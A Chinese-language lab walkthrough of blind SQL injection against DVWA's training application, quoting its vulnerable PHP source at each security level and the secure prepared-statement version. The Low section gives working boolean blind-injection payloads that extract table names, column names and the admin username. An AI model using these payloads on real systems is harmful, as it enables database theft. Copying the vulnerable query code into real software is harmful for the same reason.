此安全级别完全脆弱,根本没有任何安全措施。它的用途是作为网络应用程序漏洞如何通过不良编码实践表现出来的示例,并用作教授或学习基本利用技术的平台。
首先判断原语句的闭合方式,当输入1'
时,提示该用户不在数据库中:
可判断原SQL语句闭合方式为id='1'
,继续判断列数:
1' order by 2 #
其列数为2
,可使用database()
函数跳过数据库名的猜解,继续到表名的猜解:
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))<10 #
通过二分法判断出第一个表名长度为5
位,逐一猜解表名:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117 #
由此语句判断出表名第一位为:u
,修改substr(x,2,1)
,继续猜解表名,直到解出表名为:users
,用相同方法猜解列名长度:
1' and length((select column_name from information_schema.columns where table_name=0x7573657273 limit 0,1))<7 #
得到列名长度为7
,继续用ascii()
函数猜解列名:
1' and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 4,1),1,1))=117 #
得到列名首字母为u
,逐字猜解得到第四个列名:user
,通过修改limit 0,1
参数继续猜解第五个列名为password
,继续判断user
列的第一个数据长度:
1' and length((select user from dvwa.users limit 0,1))=5 #
判断出长度为5
,猜解字符:
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 #
最后的到用户名为:admin
,password
列为md5
加密形式
查看源码:
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
可以看出在Get results
部分,对数据库返回结果做出了限制,只输出固定的三句内容,以此判断从数据库中查询的内容是否为真。
此设置主要是为了向不良示例的用户提供示例,其中开发人员尝试了但未能保护应用程序的安全。这也对用户完善他们的开发技术构成了挑战。
将输入框换为选择框,且传参方式为POST
,通过Google Chrome的插件HackBar完成注入:
通过测试,判断为整形注入,及原SQL语句闭合方式为id=1
,其余注入语句与Low相同
查看源码:
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
//mysql_close();
}
?>
由源码可知,对传入的参数id
的值并未做任何过滤,直接传递给数据库,虽未有具体的错误回显,但还可以根据返回语句完成盲注
此选项是对中等难度的扩展,其中包含尝试保护代码的更困难或替代的不良做法。该漏洞可能不允许相同程度的利用,类似于各种“夺旗”(CTF)竞赛中的情形。
跳转到新页面输入:
判断是否存在注入点及原SQL语句闭合类型:
得到原SQL语句闭合方式为:id='1'
,页面回显正常,其注入步骤与Medium一样,详情语句参考Low级别
查看源码:
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
未对传入的值做过滤,只是隐藏了完整的错误回显
Might sleep a random amount部分:
随机睡眠限制了时间盲注
通过ascii()
和substr()
函数的结合可以猜解出所需信息,实现盲注
此级别应防止所有漏洞。它用于将易受攻击的源代码与安全的源代码进行比较。
在DVWA v1.9之前,此级别被称为“高”
查看源码:
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Check Anti-CSRF token部分:
防止CSRF攻击,Token
是在服务端产生的。如果前端使用用户名/密码向服务端请求认证,服务端认证成功,那么在服务端会返回 Token
给前端。前端可以在每次请求的时候带上 Token
证明自己的合法地位
Was a number entered部分:
is_numeric()
函数用于检测变量是否为数字或数字字符串。
$data = $db->prepare
预编译sql语句,能防止sql注入。
Make sure only 1 result is returned部分:
$data->rowCount() == 1
限制了只返回一条语句。